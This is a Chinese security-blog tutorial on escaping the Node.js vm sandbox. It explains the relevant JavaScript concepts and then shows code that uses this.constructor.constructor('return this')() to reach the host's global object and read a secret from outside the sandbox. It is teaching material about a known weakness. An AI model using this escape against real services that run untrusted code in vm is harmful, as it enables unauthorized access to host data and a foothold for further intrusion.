如何在Node.js中逃逸vm沙箱

admin 2021年5月6日19:12:51评论82 views字数 2307阅读7分41秒阅读模式

vm基本用法

vm模块可在V8虚拟机上下文中编译和运行nodejs代码。按照官方文档的说法,vm不是一个安全的机制,并不适合用来运行不受信任的代码。

vm的一个常见用法是做上下文隔离:
```javascript
const vm = require('vm')

x = 1
context = {x: 2}
vm.createContext(context)
const code = 'x+=2;'
vm.runInContext(code, context)

console.log(x) // 1
console.log(context.x) // 4
```

context为vm提供了一个单独的上下文,与全局变量是隔离的。
看上去,在vm中,我们无法读写全局环境global中的变量。但事实并非如此,下面我们就来看看如何逃逸vm,获得global对象。

在此之前,先来看几个基本概念。

js中的几个关键字

global

global是Node.js中的全局对象,所有全局变量(除了global本身以外)都是 global 对象的属性。

constructor

对象的constructor属性返回创建实例对象的构造函数的引用。
```javascript
class Dog {
constructor(name) {
this.name = name
}
}

d = new Dog('d')
console.log(d.constructor.toString())
/
output:
class Dog {
constructor(name) {
this.name = name
}
}
/
```

Function

Function构造函数用于创建一个Function对象,也就是说用这个构造函数可以动态的创建函数。每个JavaScript函数实际上都是一个Function对象。

Function的最后一个参数是函数体,其余参数是函数参数。
```javascript
const sum = new Function('a', 'b', 'return a + b');

console.log(sum(2, 6));
如果不把生成的函数对象赋值给变量,也可以直接调用匿名函数:javascript
console.log(Function('a', 'b', 'return a + b').toString())
/
function anonymous(a,b
) {
return a + b
}
/

console.log(Function('a', 'b', 'return a + b')(1, 2)) // 3
```

Object

Object构造函数用于创建一个对象,JavaScript的所有其他对象都继承自Object对象。

this

this表示当前执行代码的环境对象。this在不同场合下有不同的值,取决于使用方式。

在全局执行环境中(在任何函数体外部)this 都指向全局对象;

在函数内部,this的值取决于函数被调用的方式

例如下面这种简单的情形,非严格模式下,this在函数中,并且this的值不是由该调用设置的,所以this的值默认指向全局对象:
```javascript
function f1(){
return this;
}
//在浏览器中:
f1() === window; //在浏览器中,全局对象是window

//在Node中:
f1() === global;
```

如何逃逸vm沙箱

现在我们来看如何一步步在vm中获取到global对象。
上文说道,this在满足条件时指向的是global,我们先来看看vm中的this,
```javascript
const vm = require('vm')

global.secret = 'sss'
context = {'x': 1}
vm.createContext(context)

console.log(vm.runInContext("this", context)) // { x: 1 }
this指向了设置的context。而这个context对象是在vm外部设置的,那么它的构造函数就是是在vm外部的,这就给vm和全局global之间打开了一个通道。javascript
console.log(context.constructor.constructor('return this')()) // global object
```

context.constructor获取到的是Object(),因为所有对象都继承自它;context.constructor.constructor获取到的是Function(),因为Object()也是一个Function的对象。

再用Function()动态创建一个匿名函数,获取this的值,this指向的就是global对象。

而在vm中,this指向的就是context,只需要把context换成this即可:
```javascript
console.log(vm.runInContext("this.constructor.constructor('return this')()", context)) // global Object

console.log(vm.runInContext("this.constructor.constructor('return this.secret')()", context)) // sss
```

这样我们就绕过了vm沙箱,获取到了global对象。

相关推荐: Oracle注入简单挖掘—范围查询in

关于范围查询in   在SQL语言中,in主要用于范围精准查询。例如下⾯的SQL语句,主要是查询年龄为18,28,38的⼈: sql select * from student where age in(18,28,38);  &…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年5月6日19:12:51
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   如何在Node.js中逃逸vm沙箱https://cn-sec.com/archives/246321.html